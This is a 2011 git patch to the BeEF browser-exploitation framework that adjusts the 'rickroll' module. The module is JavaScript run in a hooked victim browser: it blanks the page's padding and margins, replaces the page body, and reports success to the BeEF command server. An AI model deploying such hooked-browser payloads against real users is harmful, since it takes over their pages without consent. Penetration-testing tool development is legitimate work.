From e239f56e23afb0b44ae7a267093cf2407ceaffe4 Mon Sep 17 00:00:00 2001 From: "yori.kvitchko" Date: Wed, 5 Jan 2011 02:40:07 +0000 Subject: [PATCH] fullscreen fix git-svn-id: https://beef.googlecode.com/svn/trunk@669 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/commands/misc/rickroll/rickroll.js | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/commands/misc/rickroll/rickroll.js b/modules/commands/misc/rickroll/rickroll.js index 3ba844c0e..4c823f12c 100644 --- a/modules/commands/misc/rickroll/rickroll.js +++ b/modules/commands/misc/rickroll/rickroll.js @@ -1,5 +1,10 @@ beef.execute(function() { - $j('body').html(''); + $j('body').html(''); - beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Succesfull"); + $j('body').css({'padding':'0px', 'margin':'0px', 'height':'100%'}); + $j('html').css({'padding':'0px', 'margin':'0px', 'height':'100%'}); + + $j('body').html(''); + + beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Succesfull"); }); \ No newline at end of file